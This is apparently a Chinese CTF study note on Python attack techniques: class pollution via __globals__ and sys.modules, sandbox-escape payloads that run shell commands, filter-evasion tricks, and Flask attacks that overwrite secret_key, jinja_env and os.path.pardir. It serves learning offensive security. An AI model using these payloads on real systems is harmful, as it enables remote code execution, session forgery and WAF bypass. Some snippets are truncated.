Python

基础

全局变量

> python函数和类方法(对于类未重写的内置方法数据类型为装饰器wrapper_descriptor，重写后为function)都有一个__globals__属性可以将函数或者类方法申明的变量空间中的全局变量以字典的方式返回

```
secret_var = 114

def test():
    pass

class a:
    secret_class_var = "secret"

class b:
    def __init__(self):
        pass

def merge(src, dst):
```

如上定义了全局变量和a类中的内置变量，如何通过一个b的实例来修改他们?

```
payload = {
    "__init__" : {
            "__globals__" : {
                "secret_var" : 514,
                "a" : {
                    "secret_class_var" : "Poooooluted ~"
                }
            }
        }
    }

print(a.secret_class_var)
#secret
print(secret_var)
#114
merge(payload, instance)
print(a.secret_class_var)
#Poooooluted ~
print(secret_var)
#514
```

获取了b的__init__方法后调用__globals__属性修改了全局变量以及未继承的类属性

继承链

__mro__[-1]:获取类的继承关系，最后一个是class类，也可以直接用__base__（需要保证直接继承class）

__init__.__globals__:获取方法后调用globals获取全局变量

```
payload = {
    "__class__" : {
        "__base__" : {
            "__str__" : "Polluted ~"
        }
    }
}
```

获取实例的类之后获取它的基类，修改基类的__str__属性（也可以指向其他属性），但是无法直接修改object类，且需要有继承关系

sys模块

在此基础上可以修改其他模块的属性，但是当代码复杂的时候需要利用sys模块

> `sys` 模块的 `modules` 属性以字典的形式包含了程序自开始运行时所有已加载过的模块，可以直接从该属性中获取到目标模块

```
payload = {
    "__init__" : {
        "__globals__" : {
            "sys" : {
                "modules" : {
                    "test_1" : {
                        "secret_var" : 514,
                        "target_class" : {
                            "secret_class_var" : "Poluuuuuuted ~"
                        }
                    }
                }
            }
        }
    }
}
```

sys字典存放了所有加载的模组（python中存在默认加载的模组，但是其并不一定可用），如果被ban掉了os模块，可以将其删除后重新导入

```
sys.modules['os'] = 'not allowed' # oj 为你加的


del sys.modules['os']
import os
os.system('ls')
```

loader加载器

> loader是为实现模块加载而设计的类，其在 `importlib` 这一内置模块中有具体实现。令人庆幸的是 `importlib` 模块下所有的 `py` 文件中均引入了 `sys` 模块

因此只要获取一个loader就可以得到sys模块，其中__loader__属性会被默认赋值为当前模块的loader(debug模式为None)

__spec__内置属性定义在importlib模块下，可以利用

`<模块名>.__spec__.__init__.__globals__['sys']` 获取到 `sys` 模块

```
'__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.xxx',
```

defaults与kwdefaults

存放了函数默认值

沙箱逃逸

payload

```
1 import('os').system('sh')
2 __import__('os').system('cat ./flag.txt')
3 open("flag").read()
```

Trick

getattr获取属性

chr（）

bytes.decode

```
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')
```

这里提供两个思路：一个是利用 `bytes` 的ASCII list初始化方式。这里 `__builtins__` 没被删，所以可以直接用；万一 `__builtins__` 被删了，又可以通过找 `object` 子类的方式找到bytes。此时payload为：

```
_globals__[bytes([115, 121, 115, 116, 101, 109]).decode()](bytes([115, 104]).decode())
```

Tips:bytes函数本身也可以寻找

Help：交互终端rce

输入之后再输入模块名（os获取__main__）

breakpoint（）:进入Pdb调试一句话RCE

海象运算符:=：一个input执行多行命令

dir查看方法

lambda绕过

__doc__文档表寻找可用字符

```
().__doc__.find('s')
```

得到19，然后在payload里面直接使用 `().__doc__[19]` ，就得到了字符 `'s'` 。而且由于一般这种文档里面的字母够多，所以我们总是可以找到想要的字母。这样构造的payload如下：

```
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__do
```

原型链污染

应用

污染flask secret_key（伪造秘钥）

和_got_first_request和_static_url_path

exported_names

`os.path.pardir`（影响了render_template的解析，默认为..，flask通过它来限制目录穿越则可把他修改为其他无关的内容）

jinjia_env(修改语法实现ssti绕过waf)

```
{
  "__init__":{
    "__globals__":{
      "app":{
        "jinja_env":{
          "variable_start_string":"[[",
          "variable_end_string":"]]"
        }
      }
    }
  }
}
```

os.environ

Trick

变量覆盖

for循环

```
>>> a = 0
>>> for a in [1]:
...     pass
...
>>> a
1
>>>
```

绕过空格

list生成器和中括号

```
>>> a = 0
>>> [[str][0]for[a]in[[1]]]
[<type 'str'>]
>>> a
1
```

eval导致环境变量可修改

> https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

底层调用了bash -c指令

若环境变量可控则可以执行命令

即设置`os.environ['BASH_FUNC_echo%%']='() { id; }'`

unicode字符

但实际上python是支持Non-ASCII Identifies也就是说可以使用unicode字符的，具体参考见: https://peps.python.org/pep-3131/ ，也就是说如果我们使用了UTF-8中的非ASCII码作为标识符，那么其会被函数转换为NFKC标准格式，也就是说我们可以使用例如`ᵒ`来代替`o`，从而绕过限制。所以在全部的碎片都

> https://ctf.njupt.edu.cn/archives/805

> https://kdxcxs.github.io/posts/wp/idekctf-2022-task-manager-wp/